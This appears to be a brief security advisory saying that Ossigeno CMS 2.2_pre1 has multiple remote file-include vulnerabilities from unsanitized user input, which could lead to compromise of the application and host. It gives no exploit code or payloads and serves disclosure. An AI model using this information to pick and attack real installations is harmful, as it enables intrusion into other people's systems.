Ossigeno CMS is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data.
   
Exploiting these issues may allow an attacker to compromise the application and the underlying system; other attacks are also possible.
   
These issues affect Ossigeno CMS 2.2_pre1; other versions may also be vulnerable.
